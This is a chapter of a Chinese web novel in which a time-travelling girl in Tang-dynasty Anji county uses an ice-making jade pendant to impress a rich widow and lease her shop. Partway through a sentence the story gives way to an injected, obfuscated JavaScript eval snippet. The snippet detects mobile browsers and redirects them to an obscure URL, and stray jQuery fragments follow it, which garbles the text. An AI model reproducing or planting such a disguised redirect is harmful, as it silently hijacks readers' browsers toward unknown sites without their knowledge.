10. 租个铺子

作品:《大唐小甜铺

    翌日清早,崔棠扒着房门确认穆云背着柴刀走远了,攥着玉坠就往灶房跑。贺梅娘正挽着袖管淘洗桑葚,紫红浆果滚进陶瓮,溅起紫红色的汁水。


    “阿娘快看!”崔棠把玉坠举到晨光里,“昨夜泡在桑葚汁里竟会变红发烫!”


    贺梅娘就着围裙擦手接过,迎着光翻看:“没什么不一样啊!”


    “不应该啊……”话音未落,崔棠已抄起竹杯舀满桑葚汁,夺过玉坠“扑通”扔进去。


    “别!“贺梅娘话音未落,玉坠在紫红汁液里泛起涟漪。


    “阿娘你看,得放桑葚汁里!”她拎起坠子,两人仔细端详,血丝已顺着花瓣脉络攀爬,整块玉坠变得通红。


    忽然贺梅娘道:“咦?这杯子——”


    杯壁渐渐凝出白霜,她指尖刚触到杯沿就被冰得缩手,杯口已浮着薄冰碴。


    “哎?”崔棠接过来细看,难道这坠子可以制冰?她又把坠子放入酸梅汤中,面上也立时浮出霜花来。


    她举着冰杯转圈:“这卖冰饮子能赚翻......”


    贺梅娘突然攥住她手腕:“嘘——这可不能声张,多少奇珍异宝惹来杀身祸。”作为穿越者的自觉,便是藏好身份。


    崔棠讪笑着把玉坠塞进荷包:“晓得了晓得了,我收着不用便是。”她嬉笑着将玉坠塞进荷包。窗外老槐沙沙作响,她仿佛已听见铜钱落进钱匣的脆响。


    辰时未过,崔棠和穆云已推着独轮车往县城赶。草绳捆扎的陶罐在车板上叮当乱响,揭开稻草时酸梅汤还冒着凉气——这是贺梅娘用井水湃了整宿的。


    “若有个铺子,何须这般折腾。”崔棠扶住险些翻倒的陶罐,粗麻襦裙沾满晨露。


    穆云单手稳住车辕,剑鞘挑开垂落的柳枝:“你是说那八十贯的铺子吗?能拿出这钱的人也不应住在城外吧!”


    崔棠气结,不搭理他。她虽然现在穷得叮当响,可凭她千年后的眼光和知识,还能一直这样不成?


    待到进城,两人路过秦家汤饼铺见那招租告示还贴在门上。油润的臊子香飘过街面,混着隔壁干果铺的炒瓜子香,勾得她肚子咕咕直叫。


    “姑娘让让!”挑水工擦着她粗麻裙摆挤过巷道。崔棠顺势贴着墙根蹭到告示前,指尖抚过“八十贯”的墨字。


    忽听见身后传来尖细的嗓音:“您瞧这地段,离县衙后门就隔条巷......”


    原是有牙人领着几个客商来看铺子,她悄摸跟上看房队伍。


    这铺子外头看着不怎么大,内里却别有洞天。前头穿绫罗的胖商人正捏着鼻尖挑刺:“灶屋梁柱都让油烟熏黑了......”


    “常年在用的灶才不会坏呢!”牙人踹了脚积灰的灶台,“秦娘子当年可是用这锅煮出安吉县第一碗鱼片汤饼!”


    崔棠趁他们掰扯,溜进后院天井。三开间的正屋宽敞明亮,一应家具齐全。最妙是后墙根的空地,正够种些菜蔬药草。


    “小娘子走错门了吧?”牙人摇着蒲扇堵在月亮门,“要买糖糕出门右拐。”


    崔棠掂量着家中的余钱,不由开口问道:“若是租赁......”


    “租赁?”牙人嗤笑着用扇骨挑开她挑线的袖口,“这铺面日租金抵你半月嚼用,叫你家大人来谈……哎哟!”


    话未说完,斜刺里一只手倏地扣住他手腕。穆云指尖在牙行契书上轻点,声线淬着冰:“牙行规矩,童叟无欺。上月你三贯钱赁给胡商的铺面,如今空着养耗子?”


    独轮车吱呀轧过被晒软的青石板,崔棠忽见穆云耳后美黑膏裂开道玉色裂痕——定是方才与牙人周旋时沁了汗。


    “多谢穆小郎君撑场子!”她伸手有心想帮他遮掩下破绽。


    少年猛地偏头避开:“东面卖的是胡饼,西面是干果铺。”他扒拉着糖罐,“县衙几个当值的胥吏,申时三刻准来买毕罗当晡食。”


    崔棠闻言:“你怎知......”


    “某方才去前头慈恩寺讨水喝,听知客僧说的。”穆云屈指弹落她发间树叶,“午时了,请你吃汤饼。”


    想起方才苍术的密报,他叹口气:这丫头连算盘都打不利索,往后可怎么应付这些市井泼皮。


    醉仙楼二层临窗位置,穆云指尖叩着檀木食单:“醋芹、箸头春、金齑玉脍......”崔棠在桌下猛踩他鞋面:“不是说你离家出走盘缠用尽了吗?点碗冷淘就行!”


    “咳……某是说……”穆云一顿,忘了这茬了:“冷淘配杏酪倒也爽口。”他耳后未抹匀的美黑膏裂开细纹,露出底下玉色肌肤。


    崔棠咬着雕花银匙,盯着食单上的价目倒抽冷气:这地段铺租少说五贯钱,光那碟未点的金齑玉鲙就值半贯钱......


    “若能把甜水卖进那些高门大院......”她舀着乳酪指向不远处宅邸的飞檐,“每日少说能进账两百文。”杏仁碎在她齿间咯吱作响,仿佛已见糖水化作铜钱雨。


    “看什么呢?”崔棠将杏酪推到他跟前。


    “东南角。”少年压低斗笠。


    崔棠踮脚望去,见临窗坐着个戴幕篱的妇人。素纱罗裙外罩着月白半臂,葱管似的指尖捏着银箸,在翡翠虾仁上点了三回也没夹起半粒。


    “原来穆少侠好这口?”她用手肘顶他肋下。


    “那便是秦娘子。”穆云拍开她作乱的手,“县尊府上新得宠的如夫人。”


    话音未落,着艾绿比甲的婢子已捧上一小碗汤饼:“主君特意让您出来散心,好歹进些......”


    “撤了吧。”妇人嗓音浸着蜜似的慵懒,“都煮成糊了,当喂雀儿呢?”


    “她就是秦娘子呀……”崔棠心中冒出个主意。


    她摸出半吊钱拍在茶博士掌心:“劳烦借贵店茶寮半炷香,权当结个善缘。”又晃了晃竹篮里红艳艳的山楂丸,“这是新制的消食饮子,专赠贵店东家。”


    茶寮里热气蒸腾,崔棠背身挡住旁人视线。玉坠滑入紫云饮时泛起涟漪,她抄起银匙疾搅三圈,眼见青瓷碗壁攀上白霜,又飞快捞出坠子塞回内襟。


    待一切准备就绪之后,她小心翼翼地将尚未完全结冰的紫云饮倒入洁白如雪的瓷盏之中。桑葚浆淋在渐融的冰沙上,从深到浅的紫如暮色浸染云霞。


    不多时,这吃食就被端到了秦娘子面前的桌案之上。此时,冰块已经融化了大半,正是品尝的最佳时机。


    “娘子请看。”茶博士端着檀木餐盘趋近,“这是特制的‘紫云饮’和‘糖霜山楂丸’。”桑葚浆在渐融的冰沙上晕染出晚霞色,糖霜山楂丸颗颗晶莹剔透,瓷盘边沿还沾着崔棠慌乱中抹上的半枚指纹。


    秦娘子用护甲勾起冰沙送入口中,这个粗放动作与周身华服格格不入,倒像厨


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117773|164202||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    娘尝味的架势。


    崔棠在帘子后攥紧衣角,忽听里头传来赞叹:“这饮子配山楂丸,倒解了妾身苦夏的症候!”她探出头,正见秦娘子腕间虾须镯晃着碎光,已空了两盏冰饮。


    竹屏微微晃动,崔棠拎着沾糖渍的围裙角跨出来,朝秦娘子行了个标准的万福礼:“安吉县溪山村崔棠,方才冒用醉仙楼名号,实在唐突。”


    秦娘子用银签戳起颗山楂丸对着光瞧,糖霜在烛火下折射出细碎金芒:“小娘子这手艺,倒比西市胡商卖的毕罗还精巧。”


    她忽然用银签戳破山楂丸,蜜色糖衣裂开时发出脆响:“小娘子废了这许多心思让我品尝,怕不是单为赠饮?”


    “实不相瞒,这些甜食皆出自家母之手。今日斗胆相赠,是想......租下您的铺面。”崔棠也不隐瞒。


    秦娘子听闻此言,不禁心生好奇,问道:“姑娘生得这般花容月貌,又聪明伶俐,何苦风吹日晒挣这辛苦钱?嫁个举人老爷当娘子岂不是更好?”


    面对秦娘子的疑问,崔棠微微一笑,目光中带着坚持:“或许是我不愿拿终身作赌。赌玉尚有七分运道,赌人……怕是十赌九输啊!”


    一旁的婢女怒斥:“放肆!”


    秦娘子却有些怔忡——十年前她攥着两个胡饼闯进安吉县时,城门口水洼也映着这般孤注一掷的眼神。


    她随即爽快地应道:“因着小娘子这番话,就租给你了,八百文一月,租你五年!”


    “那就这么说定了!”崔棠生怕她反悔。


    “三日后隅中时分,去铺子里签契约吧!记得备足这桑葚饮。”秦娘子将一簇碎发塞回崔棠鬓角。


    崔棠感激地点点头,心中满是欢喜。八百文虽然不少,但有了能制冰的玉坠,应当不在话下。


    夕阳把山道染成糖霜色时,崔棠的竹筐里还剩三枚山楂丸。


    “多谢你今日破费。”她快走两步与他并肩,“只是那秦娘子戴着帷帽,连我都认不出,你是如何......”


    “恰巧罢了。”穆云嘴里叼着根狗尾草,“某去讨水时......”


    “讨水能讨到人家桌前?”崔棠突然旋身挡在他跟前,竹筐里山楂丸撞得叮当响。少年耳后未擦净的美黑膏裂开细纹,露出底下玉色的肌肤。


    穆云偏头:“秦娘子近来每日都去那酒楼,随便一打听就知道......”话音戛然而止,他懊恼地咬住舌尖,一副欲盖弥彰的模样。


    崔棠憋笑憋得肩头发颤,粗麻裙裾扫过道旁野菊。想帮忙就直说嘛!


    她自然瞧不见,少年握拳的指节已然发白——自那日见她把“紫云饮”三字描在糖罐上,胸腔里便奇怪地似揣了只醉酒的雀儿。


    山涧跃过青石,穆云望着少女晃动的双丫髻。自己始终是短暂停留,这丫头怕是会伤心吧?


    他忽然劈手折断探出山道的野枣枝,惊起群雀乱飞。“当心刺藤。”他哑着嗓子快走几步,不敢看崔棠拎着野枣枝把玩的模样。


    崔棠哼着新编的卖糖谣,将最后几颗山楂丸抛给追着玩的村童。


    穆云回头时,正撞见她踮脚去够崖边的野山莓,茜色发带扫落几粒晨露凝成的糖晶。


    “走了。”少年微潮的手轻拍她发顶,转身时却放慢脚步。山风卷来湿热的气息,他忽地莫名希望这蜿蜒的山道,永远走不到尽头。